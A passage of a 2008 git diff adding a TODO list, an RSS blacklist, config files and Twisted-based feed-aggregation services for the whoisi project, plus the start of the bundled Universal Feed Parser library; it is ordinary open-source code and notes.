+XX: Fix ordering for inserts for entries so they are sorted by date
+and ditch the code in the front end to re-order entries by date per
+page.
+XX: Search page needs to not make a crapload of queries.
+XX: Add simple auditing.
+XX: Make delete a flag, don't actually delete
+XX: Fix ordering problem when adding site entries and get rid of
+re-ordering in follow + everyone page.
+XX: Fix the add-site overwhelmes the everybody page by adding a flag
+to the site_history to indiciate if it's first run or not.
+XX: If you click on one person's entry in more than one place on the
+/everyone page it will add them and then remove them.  Needs to not be
+a toggle.  This is a nasty race condition in the follow code.
+XX: Person 446 - unicode names for people don't work
+XX: Add a favicon and icons on the master template
+XX: Add a footer with an about page
+XX: Add robots.txt
+XX: Add one-click following
+XX: Add a super-simple API.
+XX: Switch to Mako.
+
+o Not fully-qualifying urls like http://whoisi.com/p/1114
+
+o Add the f=1 to a person page that lets you follow them easily
+
+o Add an addsite + url argument to a person so it's easy to add
+  a new site.
+
+o Button from John
+
+o Sitemap for google
+
+o Can't add sites that don't include a <link> in the <feed> section.
+Or at least the preview code fails.
+
+o Fix getPersonForURL() - removing the sitehistory from run_db_check
+will make it a lot less useful.
+
+o Add a hash to the add person stuff - too easy to break out of that
+with just an ID.
+
+o http://www.justanotherjen.com/ - looks like it gives back HTML
+unless you specify that you want rss content types?!
+
+o Look at steven garrity's entry about "Overheard at Canadian Tire" -
+has bad unicode rendering
+
+o email hashing thing for users who do "this is me"
+
+o Time-based picasa photos don't show up with the name in front of the
+picasa link
+
+o Paul Graham's website/weblog puts the <link> tag down in the body.  Fail.
+
+o add refresh coalessing to the master service for sites that are down
+
+o Also check the url field for "comment" when doing the feed detection
+- venky's blog contains bad names but does include info in the actual
+url
+
+o livejournal entries don't include a link to rss - have to strip off
+a specific entry url and just use the base hostname
+
+o Check paul frield's blog - it uses a port 8080 call and it fails
+silently?
+
+o Fix linkedin changes so they show up as part of a cluster and as
+part of the timeline
+
+o Figure out the right level of indentation (link-collection-item?)
+
+o Put names in front of all the results
+
+o Add options to the master and contoller process so they will connect
+to the test db (for bryan!)
+
+o Add error handling to the front end
+
+o Add aliases to the name search
+
+o Move the various parsing processes to use pb and set them up to be
+re-used instead of started up and shut down after each job
+
+o Add captchas to everything
+
+o This url won't render entries: http://hecker.org/ - no idea why not
+
+o Fix flickr so that it doesn't ask about the feed type - probably
+want to just convert over to using the api instead of using the feed.
+API provides everything we need, anyway and it goes through the key so
+it's a lot more reliable.
+
+o Change the way that we do an initial person add - we need to verify
+that a site is valid before we do the person creation - can we do that
+from the initial add page and then redirect once the site and person
+have been created?
+
+o Move to using feedparser to download a feed - gets charsets right
+
+o Add support for content types other than text/html ()
+
+o Add the "follow" functionality
+- UI
+- cookies
+
+o Work on the timeline display code
+
+o Figure out how errors propagate to the UI
+
+o Set up automation for refreshing feeds
+
+o Make sure we're using tg.url() everywhere we're building urls so we
+will get the proper urls when we go to deploy behind apache
+
+o Start using the rb stuff to inter-process communication for the
+workers - done for the master <-> controller communications.
+
+o Add logging to the worker processes
+
+o deleted example on flickr
+
+           id: 5325
+      site_id: 186
+        title: This on goes to @thinguy
+         link: http://www.flickr.com/photos/cote/2333863644/
+     entry_id: tag:flickr.com,2005:/photo/2333863644
+        added: 2008-03-14 20:49:03
+      touched: 2008-03-14 20:49:03
+    published: 2008-03-14 20:39:41
+      updated: 2008-03-14 20:39:41
+      summary: NULL
+      content: <p><a href="http://www.flickr.com/people/cote/">cote</a> posted a photo:</p>
+<p><a href="http://www.flickr.com/photos/cote/2333863644/" title="This on goes to @thinguy"><img src="http://farm4.static.flickr.com/3218/2333863644_f18b287bbf_m.jpg" width="240" height="192" alt="This on goes to @thinguy" /></a></p>
+display_cache: NULL
diff --git a/blacklist_rss.txt b/blacklist_rss.txt
new file mode 100644 (file)
index 0000000..863b337
--- /dev/null
@@ -0,0 +1,16 @@
+http://friendfeed.com/?auth=1G3a9hvyTN1ab2WB&format=atom
+
+http://meneame.net/comments_rss2.php
+
+http://blip.tv/rss
+
+http://www.istockphoto.com/istock_rss.php
+
+http://friendfeed.com/?auth=e6ylEzZmBmpCGfpn&format=atom
+
+http://del.icio.us/rss/
+- check for "rss by tag" from del.icio.us
+
+http://en.wikipedia.org/wiki/Special:RecentChanges
+http://en.wikipedia.org/w/index.php?title=Special:RecentChanges&feed=atom
+
diff --git a/controller-1.cfg b/controller-1.cfg
new file mode 100644 (file)
index 0000000..2cd9834
--- /dev/null
@@ -0,0 +1,17 @@
+[listen]
+port=11500
+
+[db]
+host=localhost
+#user=user
+#passwd=passwd
+db=whoisi
+port=3306
+
+# Fill in these sections with your keys
+#[flickr]
+#api_key=something
+
+#[twitter]
+#username=something
+#password=something
diff --git a/controller-service b/controller-service
new file mode 100755 (executable)
index 0000000..a383824
--- /dev/null
@@ -0,0 +1,138 @@
+#!/usr/bin/python
+
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from services.command.controller import NewSiteManager, RefreshManager, \
+    NewLinkedInManager, LinkedInRefreshManager, PreviewLinkedInManager, \
+    NewPicasaManager, PicasaRefreshManager, PicasaPreviewManager, \
+    FlickrCacheManager, PreviewSiteManager
+
+from twisted.internet import reactor, protocol
+from twisted.spread import pb
+from services.command.service import ServiceManager
+from services.command.database import DatabaseCommandManager
+
+import sys, getopt
+import services.config as config
+
+class Controller(pb.Root):
+    def service_setup(self):
+        self.connection_type = "MySQLdb"
+        self.connection_dict = dict(cp_reconnect=True,
+                                    host=config.get("db", "host"),
+                                    user=config.get("db", "user"),
+                                    passwd=config.get("db", "passwd"),
+                                    db=config.get("db", "db"),
+                                    port=config.getint("db", "port"),
+                                    charset="utf8")
+
+        self.sm = ServiceManager()
+        self.dcm = DatabaseCommandManager()
+        self.dcm.start(self.connection_type, self.connection_dict)
+
+    def remote_newSite(self, uuid, *args):
+        ns = NewSiteManager(self.sm, self.dcm)
+        return ns.start(uuid, *args)
+
+    def remote_newLinkedIn(self, uuid, *args):
+        nl = NewLinkedInManager(self.dcm)
+        return nl.start(uuid, *args)
+
+    def remote_newPicasa(self, uuid, *args):
+        np = NewPicasaManager(self.dcm, self.sm)
+        return np.start(uuid, *args)
+
+    def remote_picasaRefresh(self, uuid, *args):
+        pr = PicasaRefreshManager(self.dcm, self.sm)
+        return pr.start(uuid, *args)
+
+    def remote_feedRefresh(self, uuid, *args):
+        rm = RefreshManager(self.sm, self.dcm)
+        return rm.start(uuid, *args)
+
+    def remote_linkedInRefresh(self, uuid, *args):
+        lr = LinkedInRefreshManager(self.dcm)
+        return lr.start(uuid, *args)
+
+    def remote_previewSite(self, uuid, *args):
+        ps = PreviewSiteManager(self.sm, self.dcm)
+        return ps.start(uuid, *args)
+
+    def remote_previewLinkedIn(self, uuid, *args):
+        pl = PreviewLinkedInManager(self.dcm)
+        return pl.start(uuid, *args)
+
+    def remote_previewPicasa(self, uuid, *args):
+        pr = PicasaPreviewManager(self.dcm, self.sm)
+        return pr.start(uuid, *args)
+
+    def remote_flickrCache(self, uuid, *args):
+        fcm = FlickrCacheManager(self.dcm)
+        return fcm.start(uuid, *args)
+
+# command line handling
+def print_usage():
+    print("Usage: %s -c <configfile>" % sys.argv[0])
+    print("\t-c, --config=<configfile> - config file     (required)")
+    sys.exit(2)
+
+try:
+    opts, args = getopt.getopt(sys.argv[1:], "c:", ["config="])
+except getopt.GetoptError:
+    print_usage()
+
+config_file = None
+
+for o, a in opts:
+    if o in ("-c", "--config"):
+        config_file = a
+
+if config_file is None:
+    print_usage()
+
+try:
+    config.read(config_file)
+except Exception, e:
+    print("Failed to load config file %s at line %d" % (config_file, e.lineno))
+    print_usage()
+
+# Check and warn if we don't have the right api keys and/or usernames
+# and passwords
+try:
+    check_flickr = config.get("flickr", "api_key")
+    check_twitter_user = config.get("twitter", "username")
+    check_twitter_password = config.get("twitter", "password")
+except:
+    print("Make sure that you have a flickr key and twitter username and password\nset in the config.")
+    print_usage()
+
+# fire up the controller and let it go
+port = config.getint("listen", "port")
+c = Controller()
+c.service_setup()
+reactor.listenTCP(port, pb.PBServerFactory(c))
+
+print("listening for commands on port %d" % port)
+
+reactor.run()
+
diff --git a/dev.cfg b/dev.cfg
new file mode 100644 (file)
index 0000000..8301598
--- /dev/null
+++ b/dev.cfg
@@ -0,0 +1,70 @@
+[global]
+# This is where all of your settings go for your development environment
+# Settings that are the same for both development and production
+# (such as template engine, encodings, etc.) all go in 
+# whoisi/config/app.cfg
+
+# DATABASE
+
+# pick the form for your database
+# sqlobject.dburi="postgres://username@hostname/databasename"
+# sqlobject.dburi="mysql://username:password@hostname:port/databasename"
+# sqlobject.dburi="sqlite:///file_name_and_path"
+
+# If you have sqlite, here's a simple default to get you started
+# in development
+#sqlobject.dburi="sqlite://%(current_dir_uri)s/devdata.sqlite"
+sqlobject.dburi="mysql://user:passwd@localhost:3306/whoisi?charset=utf8&debug=True"
+
+
+# if you are using a database or table type without transactions
+# (MySQL default, for example), you should turn off transactions
+# by prepending notrans_ on the uri
+# sqlobject.dburi="notrans_mysql://username:password@hostname:port/databasename"
+
+# for Windows users, sqlite URIs look like:
+# sqlobject.dburi="sqlite:///drive_letter:/path/to/file"
+
+# SERVER
+
+# Some server parameters that you may want to tweak
+# server.socket_port=8080
+
+# Enable the debug output at the end on pages.
+# log_debug_info_filter.on = False
+
+server.environment="development"
+autoreload.package="whoisi"
+
+# Auto-Reload after code modification
+# autoreload.on = True
+
+# Set to True if you'd like to abort execution if a controller gets an
+# unexpected parameter. False by default
+tg.strict_parameters = True
+
+# replace this with your private recaptcha key
+# whoisi.recaptcha_private_key = ""
+
+# LOGGING
+# Logging configuration generally follows the style of the standard
+# Python logging module configuration. Note that when specifying
+# log format messages, you need to use *() for formatting variables.
+# Deployment independent log configuration is in whoisi/config/log.cfg
+[logging]
+
+[[loggers]]
+[[[whoisi]]]
+level='DEBUG'
+qualname='whoisi'
+handlers=['debug_out']
+
+[[[allinfo]]]
+level='INFO'
+handlers=['debug_out']
+
+[[[access]]]
+level='INFO'
+qualname='turbogears.access'
+handlers=['access_out']
+propagate=0
diff --git a/devdata.sqlite b/devdata.sqlite
new file mode 100644 (file)
index 0000000..7439e4b
Binary files /dev/null and b/devdata.sqlite differ
diff --git a/feed-parse-service b/feed-parse-service
new file mode 100755 (executable)
index 0000000..39fe3d5
--- /dev/null
@@ -0,0 +1,139 @@
+#!/usr/bin/python
+
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from twisted.internet import stdio, reactor
+from services.protocol.childlistener import ChildListener
+
+import lib.feedparser as feedparser
+import simplejson
+import tempfile
+import os
+import sys
+import traceback
+
+class FeedParseProtocol(ChildListener):
+    def runCommand(self, command, arg):
+        if command != "parse":
+            self.sendLine("bad command")
+            return
+
+        tmpfilename = None
+        tmpfd = None
+        feed = None
+
+        try:
+            tmpfd, tmpfilename = tempfile.mkstemp()
+            tmpfd = os.fdopen(tmpfd, "wb")
+        except:
+            send.sendLine("parse failed internal")
+            return
+
+        try:
+            d = feedparser.parse(arg)
+            data = {}
+
+            # Pull data from the feed.  Add defaults where it makes
+            # sense.
+            """
+            feed.version will tell you the version of the rss in question
+                http://feedparser.org/docs/version-detection.html
+            feed.title
+            feed.link
+            feed.subtitle
+            feed.updated_parsed
+            feed.id
+            feed.image ?
+            entries
+            e.title
+            e.link
+            e.id
+            e.published_parsed
+            e.updated_parsed
+            e.summary
+            e.content
+            e.enclosures (?) http://feedparser.org/docs/uncommon-rss.html
+            e.contributors (?) http://feedparser.org/docs/uncommon-atom.html
+
+            to check for existence use something like
+            feed.has_key('foo') or use feed.get('foo', <default>)
+            """
+
+            data["version"] = d.version
+            data["title"] = d.feed.get("title", None)
+            data["subtitle"] = d.feed.get("subtitle", None)
+            data["link"] = d.feed.get("link", None)
+            data["last_update"] = self.parsedTimeToSeconds(d.feed, "updated_parsed")
+            data["feed_id"] = d.feed.get("id", None)
+            data["feed_image"] = d.feed.get("image", None)
+
+            data["entries"] = []
+
+            for e in d["items"]:
+                le = {}
+                le["title"] = e.get("title", None)
+                le["link"] = e.get("link", None)
+                le["entry_id"] = e.get("id", None)
+                le["published"] = self.parsedTimeToSeconds(e, "published_parsed")
+                le["updated"] = self.parsedTimeToSeconds(e, "updated_parsed")
+                le["summary"] = e.get("summary", None)
+                le["content"] = e.get("content", None)
+                le["display_cache"] = None
+                data["entries"].append(le)
+
+            tmpfd.write(simplejson.dumps(data))
+
+        except:
+            self.sendLine("parse failed internal")
+            traceback.print_exc(file=sys.stderr)
+            return
+
+        self.sendLine("parse done %s" % tmpfilename)
+
+    def parsedTimeToSeconds(self, feed, name):
+        """
+        Feedparser has a "parsed time" that's the usual time 9 tuple
+        value that's found in python's time() module.  All values are
+        in GMT but we really want the first 6, which represent the
+        date and time in a form that the json serializer can handle.
+        """
+        x = feed.get(name, None)
+        if x is None:
+            return None
+        return x[:6]
+            
+    def connectionLost(self, reason):
+        if (reactor.running):
+            reactor.stop()
+        ChildListener.connectionLost(self, reason)
+
+    def connectionMade(self):
+        self.sendLine("ready")
+        ChildListener.connectionMade(self)
+scrapeProtocol = FeedParseProtocol()
+
+stdioWrapper = stdio.StandardIO(scrapeProtocol)
+
+# start accepting requests
+reactor.run()
+
diff --git a/firehose-client b/firehose-client
new file mode 100755 (executable)
index 0000000..e66651a
--- /dev/null
@@ -0,0 +1,81 @@
+#!/usr/bin/python
+
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from twisted.internet import reactor, protocol, defer
+from services.publisher.protocol import PublisherProtocol
+
+import simplejson
+import sys
+
+class ClientProtocol(PublisherProtocol):
+    def __init__(self):
+        self.state = self.STATE_START
+        PublisherProtocol.__init__(self)
+
+    def connectionMade(self):
+        print("connected")
+
+    def stateChanged(self, state):
+        if state == self.STATE_IDLE:
+            print("in idle state, asking to start the firehose")
+            # request to start firehose
+            self.sendState(self.STATE_FIREHOSE)
+        if state == self.STATE_FIREHOSE:
+            print("server now in firehose mode.")
+
+    def handleMessage(self, msg):
+        print("%s: (%s)\n\t%s\n\t%s\n\t%s" % (msg["id"],
+                                    msg["exts"]["whoisi.com"]["person_id"],
+                                    msg["author"]["name"],
+                                    msg["atom-entry"].get("title", None),
+                                    msg["atom-entry"].get("link", None)))
+
+
+class ClientProtocolFactory(protocol.ClientFactory):
+    protocol = ClientProtocol
+
+    def buildProtocol(self, addr):
+        p = self.protocol()
+        p.factory = self
+        return p
+
+    def clientConnectionLost(self, connector, reason):
+        print("Lost connection: %s" % reason.getErrorMessage())
+
+    def clientConnectionFailed(self, connector, reason):
+        print("Connection failed: %s" % reason.getErrorMessage())
+
+# get the host and port
+host = None
+port = None
+try:
+    host = sys.argv[1]
+    port = int(sys.argv[2])
+except:
+    print("Usage %s: host port" % sys.argv[0])
+    sys.exit(1)
+
+reactor.connectTCP(host, port, ClientProtocolFactory())
+
+reactor.run()
diff --git a/html-feed-scrape-service b/html-feed-scrape-service
new file mode 100755 (executable)
index 0000000..4052a4e
--- /dev/null
@@ -0,0 +1,155 @@
+#!/usr/bin/python
+
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from twisted.internet import stdio, reactor
+from services.protocol.childlistener import ChildListener
+from HTMLParser import HTMLParser, HTMLParseError
+
+import simplejson
+import tempfile
+import os
+import sys
+import traceback
+
+class ScrapeParser(HTMLParser):
+    def reset(self):
+        self.links = []
+        self.generator = None
+        self.pingback = None
+        self.looks_like_html = False
+        self.got_html = False
+        self.in_head = False
+        HTMLParser.reset(self)
+
+    def handle_starttag(self, tag, attrs):
+        if tag == "html":
+            self.got_html = True
+
+        if tag == "head":
+            self.in_head = True
+            if self.got_html:
+                self.looks_like_html = True
+
+        if tag == "meta":
+            if not self.in_head:
+                return
+
+            generator = None
+            content = None
+            for key, value in attrs:
+                if key == "name" and value == "generator":
+                    generator = True
+                if key == "content":
+                    content = value
+            if generator and content:
+                self.generator = value
+
+        if tag == "link":
+            if not self.in_head:
+                return
+
+            type = None
+            href = None
+            alternate = False
+            pingback = None
+            title = None
+            for key, value in attrs:
+                if key == "rel" and value == "alternate":
+                    alternate = True
+                if key == "href":
+                    href = value
+                if key == "type":
+                    type = value
+                if key == "title":
+                    title = value
+                if key == "rel" and value == "pingback":
+                    pingback = True
+            if alternate is True and href:
+                self.links.append([href, type, title])
+            if pingback is True and href:
+                self.pingback = href
+
+    def handle_endtag(self, tag):
+        if tag == "head":
+            self.in_head = False
+
+class ScrapeProtocol(ChildListener):
+    def runCommand(self, command, arg):
+        if command != "parse":
+            self.sendLine("bad command")
+            return
+
+        # argument should be a file to open
+        f = None
+        tmpfilename = None
+        tmpfd = None
+
+        # open the tmpfile first
+        try:
+            tmpfd, tmpfilename = tempfile.mkstemp()
+            tmpfd = os.fdopen(tmpfd, "wb")
+        except:
+            self.sendLine("parse failed internal")
+            return
+
+        try:
+            f = open(arg, "r")
+            # ...and parse it
+
+            # XXX this should really be reading a little bit of a time
+            # instead of loading the whole file into memory
+            d = f.read()
+            s = ScrapeParser()
+            try:
+                s.feed(d)
+            except HTMLParseError:
+                # probably not an html file, but "looks_like_html"
+                # will inform the consumer that it wasn't html
+                pass
+            # just for debugging
+            output = dict(feed_url=s.links, pingback=s.pingback, generator=s.generator,
+                          looks_like_html = s.looks_like_html)
+            tmpfd.write(simplejson.dumps(output))
+        except:
+            self.sendLine("parse failed internal")
+            traceback.print_exc(file=sys.stderr)
+            return
+
+        self.sendLine("parse done %s" % tmpfilename)
+    
+    def connectionLost(self, reason):
+        if (reactor.running):
+            reactor.stop()
+        ChildListener.connectionLost(self, reason)
+
+    def connectionMade(self):
+        self.sendLine("ready")
+        ChildListener.connectionMade(self)
+
+scrapeProtocol = ScrapeProtocol()
+
+stdioWrapper = stdio.StandardIO(scrapeProtocol)
+
+# start accepting requests
+reactor.run()
diff --git a/lib/__init__.py b/lib/__init__.py
new file mode 100644 (file)
index 0000000..e69de29
diff --git a/lib/feedparser.py b/lib/feedparser.py
new file mode 100644 (file)
index 0000000..a470df2
--- /dev/null
@@ -0,0 +1,2866 @@
+#!/usr/bin/env python
+"""Universal feed parser
+
+Handles RSS 0.9x, RSS 1.0, RSS 2.0, CDF, Atom 0.3, and Atom 1.0 feeds
+
+Visit http://feedparser.org/ for the latest version
+Visit http://feedparser.org/docs/ for the latest documentation
+
+Required: Python 2.1 or later
+Recommended: Python 2.3 or later
+Recommended: CJKCodecs and iconv_codec <http://cjkpython.i18n.org/>
+"""
+
+__version__ = "4.1"# + "$Revision: 1.92 $"[11:15] + "-cvs"
+__license__ = """Copyright (c) 2002-2006, Mark Pilgrim, All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification,
+are permitted provided that the following conditions are met:
+
+* Redistributions of source code must retain the above copyright notice,
+  this list of conditions and the following disclaimer.
+* Redistributions in binary form must reproduce the above copyright notice,
+  this list of conditions and the following disclaimer in the documentation
+  and/or other materials provided with the distribution.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 'AS IS'
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGE."""
+__author__ = "Mark Pilgrim <http://diveintomark.org/>"
+__contributors__ = ["Jason Diamond <http://injektilo.org/>",
+                    "John Beimler <http://john.beimler.org/>",
+                    "Fazal Majid <http://www.majid.info/mylos/weblog/>",
+                    "Aaron Swartz <http://aaronsw.com/>",
+                    "Kevin Marks <http://epeus.blogspot.com/>"]
+_debug = 0
+
+# HTTP "User-Agent" header to send to servers when downloading feeds.
+# If you are embedding feedparser in a larger application, you should
+# change this to your application name and URL.
+USER_AGENT = "UniversalFeedParser/%s +http://feedparser.org/" % __version__
+
+# HTTP "Accept" header to send to servers when downloading feeds.  If you don't
+# want to send an Accept header, set this to None.
+ACCEPT_HEADER = "application/atom+xml,application/rdf+xml,application/rss+xml,application/x-netcdf,application/xml;q=0.9,text/xml;q=0.2,*/*;q=0.1"
+
+# List of preferred XML parsers, by SAX driver name.  These will be tried first,
+# but if they're not installed, Python will keep searching through its own list
+# of pre-installed parsers until it finds one that supports everything we need.
+PREFERRED_XML_PARSERS = ["drv_libxml2"]
+
+# If you want feedparser to automatically run HTML markup through HTML Tidy, set
+# this to 1.  Requires mxTidy <http://www.egenix.com/files/python/mxTidy.html>
+# or utidylib <http://utidylib.berlios.de/>.
+TIDY_MARKUP = 0
+
+# List of Python interfaces for HTML Tidy, in order of preference.  Only useful
+# if TIDY_MARKUP = 1
+PREFERRED_TIDY_INTERFACES = ["uTidy", "mxTidy"]
+
+# ---------- required modules (should come with any Python distribution) ----------
+import sgmllib, re, sys, copy, urlparse, time, rfc822, types, cgi, urllib, urllib2
+try:
+    from cStringIO import StringIO as _StringIO
+except:
+    from StringIO import StringIO as _StringIO
+
+# ---------- optional modules (feedparser will work without these, but with reduced functionality) ----------
+
+# gzip is included with most Python distributions, but may not be available if you compiled your own
+try:
+    import gzip
+except:
+    gzip = None
+try:
+    import zlib
+except:
+    zlib = None
+
+# If a real XML parser is available, feedparser will attempt to use it.  feedparser has
+# been tested with the built-in SAX parser, PyXML, and libxml2.  On platforms where the
+# Python distribution does not come with an XML parser (such as Mac OS X 10.2 and some
+# versions of FreeBSD), feedparser will quietly fall back on regex-based parsing.
+try:
+    import xml.sax
+    xml.sax.make_parser(PREFERRED_XML_PARSERS) # test for valid parsers
+    from xml.sax.saxutils import escape as _xmlescape
+    _XML_AVAILABLE = 1
+except:
+    _XML_AVAILABLE = 0
+    def _xmlescape(data):
+        data = data.replace('&', '&amp;')
+        data = data.replace('>', '&gt;')
+        data = data.replace('<', '&lt;')
+        return data
+
+# base64 support for Atom feeds that contain embedded binary data
+try:
+    import base64, binascii
+except:
+    base64 = binascii = None
+
+# cjkcodecs and iconv_codec provide support for more character encodings.
+# Both are available from http://cjkpython.i18n.org/
+try:
+    import cjkcodecs.aliases
+except:
+    pass
+try:
+    import iconv_codec
+except:
+    pass
+
+# chardet library auto-detects character encodings
+# Download from http://chardet.feedparser.org/
+try:
+    import chardet
+    if _debug:
+        import chardet.constants
+        chardet.constants._debug = 1
+except:
+    chardet = None
+
+# ---------- don't touch these ----------
+class ThingsNobodyCaresAboutButMe(Exception): pass
+class CharacterEncodingOverride(ThingsNobodyCaresAboutButMe): pass
+class CharacterEncodingUnknown(ThingsNobodyCaresAboutButMe): pass
+class NonXMLContentType(ThingsNobodyCaresAboutButMe): pass
+class UndeclaredNamespace(Exception): pass
+
+sgmllib.tagfind = re.compile('[a-zA-Z][-_.:a-zA-Z0-9]*')
+sgmllib.special = re.compile('<!')
+sgmllib.charref = re.compile('&#(x?[0-9A-Fa-f]+)[^0-9A-Fa-f]')
+
+SUPPORTED_VERSIONS = {'': 'unknown',
+                      'rss090': 'RSS 0.90',
+                      'rss091n': 'RSS 0.91 (Netscape)',
+                      'rss091u': 'RSS 0.91 (Userland)',
+                      'rss092': 'RSS 0.92',
+                      'rss093': 'RSS 0.93',
+                      'rss094': 'RSS 0.94',
+                      'rss20': 'RSS 2.0',
+                      'rss10': 'RSS 1.0',
+                      'rss': 'RSS (unknown version)',
+                      'atom01': 'Atom 0.1',
+                      'atom02': 'Atom 0.2',
+                      'atom03': 'Atom 0.3',
+                      'atom10': 'Atom 1.0',
+                      'atom': 'Atom (unknown version)',
+                      'cdf': 'CDF',
+                      'hotrss': 'Hot RSS'
+                      }
+
+try:
+    UserDict = dict
+except NameError:
+    # Python 2.1 does not have dict
+    from UserDict import UserDict
+    def dict(aList):
+        rc = {}
+        for k, v in aList:
+            rc[k] = v
+        return rc
+
+class FeedParserDict(UserDict):
+    keymap = {'channel': 'feed',
+              'items': 'entries',
+              'guid': 'id',
+              'date': 'updated',
+              'date_parsed': 'updated_parsed',
+              'description': ['subtitle', 'summary'],
+              'url': ['href'],
+              'modified': 'updated',
+              'modified_parsed': 'updated_parsed',
+              'issued': 'published',
+              'issued_parsed': 'published_parsed',
+              'copyright': 'rights',
+              'copyright_detail': 'rights_detail',
+              'tagline': 'subtitle',
+              'tagline_detail': 'subtitle_detail'}
+    def __getitem__(self, key):
+        if key == 'category':
+            return UserDict.__getitem__(self, 'tags')[0]['term']
+        if key == 'categories':
+            return [(tag['scheme'], tag['term']) for tag in UserDict.__getitem__(self, 'tags')]
+        realkey = self.keymap.get(key, key)
+        if type(realkey) == types.ListType:
+            for k in realkey:
+                if UserDict.has_key(self, k):
+                    return UserDict.__getitem__(self, k)
+        if UserDict.has_key(self, key):
+            return UserDict.__getitem__(self, key)
+        return UserDict.__getitem__(self, realkey)
+
+    def __setitem__(self, key, value):
+        for k in self.keymap.keys():
+            if key == k:
+                key = self.keymap[k]
